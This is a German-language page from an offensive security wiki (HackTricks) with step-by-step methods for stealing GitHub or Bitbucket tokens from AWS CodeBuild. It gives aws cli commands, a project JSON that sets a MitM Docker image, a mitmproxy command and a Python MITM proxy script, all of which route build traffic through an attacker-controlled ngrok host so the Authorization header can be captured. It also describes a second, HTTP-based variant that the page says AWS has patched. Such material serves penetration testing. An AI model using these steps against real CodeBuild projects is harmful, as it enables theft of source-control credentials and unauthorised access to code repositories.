AWS Codebuild - Token Leakage

Unterstütze HackTricks

Github/Bitbucket Konfigurierte Tokens Wiederherstellen

Überprüfe zuerst, ob Quell-Anmeldeinformationen konfiguriert sind, die du leaken könntest:

aws codebuild list-source-credentials

Über Docker-Image

Wenn Sie feststellen, dass die Authentifizierung beispielsweise zu Github im Konto eingerichtet ist, können Sie diesen Zugriff (GH-Token oder OAuth-Token) exfiltrieren, indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen.

Zu diesem Zweck könnten Sie ein neues Codebuild-Projekt erstellen oder die Umgebung eines bestehenden ändern, um das Docker-Image festzulegen.

Das Docker-Image, das Sie verwenden könnten, ist https://github.com/carlospolop/docker-mitm. Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen https_proxy, http_proxy und SSL_CERT_FILE setzt. Dies ermöglicht es Ihnen, den größten Teil des Datenverkehrs des Hosts, der in https_proxy und http_proxy angegeben ist, abzufangen und dem in SSL_CERT_FILE angegebenen SSL-Zertifikat zu vertrauen.

  1. Erstellen & Hochladen Ihres eigenen Docker MitM-Images

  • Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat festzulegen und das Docker-Image zu erstellen.

  • SETZEN SIE http_proxy NICHT, um Anfragen an den Metadata-Endpunkt nicht abzufangen.

  • Sie könnten ngrok wie ngrok tcp 4444 verwenden, um den Proxy auf Ihren Host zu setzen.

  • Sobald Sie das Docker-Image erstellt haben, laden Sie es in ein öffentliches Repo hoch (Dockerhub, ECR...)

  1. Umgebung festlegen

  • Erstellen Sie ein neues Codebuild-Projekt oder ändern Sie die Umgebung eines bestehenden.

  • Stellen Sie das Projekt so ein, dass es das zuvor erstellte Docker-Image verwendet.

  1. Setzen Sie den MitM-Proxy auf Ihrem Host

  • Wie im Github-Repo angegeben, könnten Sie etwas wie Folgendes verwenden:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Die verwendete mitmproxy-Version war 9.0.1, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.

  1. Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen

  • Sie können das Token im Authorization-Header sehen:

Dies könnte auch über die aws cli mit etwas wie

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via HTTP protocol

Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 behoben (ich denke am Freitag). Ein Angreifer kann sie also nicht mehr ausnutzen :)

Ein Angreifer mit erhöhten Berechtigungen in einem CodeBuild könnte das konfigurierte Github/Bitbucket-Token leaken oder, wenn die Berechtigungen über OAuth konfiguriert wurden, das temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird.

  • Ein Angreifer könnte die Umgebungsvariablen http_proxy und https_proxy zum CodeBuild-Projekt hinzufügen und auf seine Maschine verweisen (zum Beispiel http://5.tcp.eu.ngrok.io:14972).

  • Dann die URL des Github-Repos ändern, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: **http://**github.com/carlospolop-forks/TestActions

  • Dann das einfache Beispiel von https://github.com/synchronizing/mitm im Port ausführen, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Schließlich klicken Sie auf Build the project, die credentials werden im Klartext (base64) an den mitm-Port gesendet:

Nun kann ein Angreifer das Token von seiner Maschine aus verwenden, alle seine Privilegien auflisten und es einfacher (miss)brauchen, als den CodeBuild-Dienst direkt zu nutzen.

Unterstützen Sie HackTricks

Last updated